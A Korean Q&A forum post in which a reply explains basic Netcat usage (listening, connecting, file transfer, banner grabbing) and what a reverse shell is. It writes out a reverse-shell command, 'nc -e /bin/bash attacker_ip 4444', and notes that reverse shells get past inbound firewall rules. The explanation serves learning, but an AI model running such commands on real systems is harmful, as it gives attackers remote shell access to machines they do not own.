본문 바로가기
Q&A2021년 2월 24일1분 읽기

Netcat 사용법과 리버스 셸 원리

변
변서영
조회 611댓글 1

Netcat이 해커의 맥가이버 칼이라고 들었는데, 기본 사용법과 리버스 셸이 뭔지 알려주세요.

댓글 1

김김영삼5년 전

Netcat(nc)은 TCP/UDP 연결을 다루는 다목적 도구입니다.

기본 사용법:

# 포트 리스닝
nc -lvp 4444

# 연결
nc target_ip 4444

# 파일 전송
nc -lvp 4444 > received.txt # 수신
nc target_ip 4444 < file.txt # 전송

# 배너 그래빙
nc -v target_ip 80
GET / HTTP/1.0

리버스 셸: 타겟이 공격자에게 연결하여 셸을 제공하는 것

# 공격자 (리스닝)
nc -lvp 4444

# 타겟 (연결)
nc -e /bin/bash attacker_ip 4444

방화벽이 인바운드는 차단하되 아웃바운드는 허용하는 경우가 많아, 리버스 셸이 바인드 셸보다 성공률이 높습니다.

Ctrl+Enter로 등록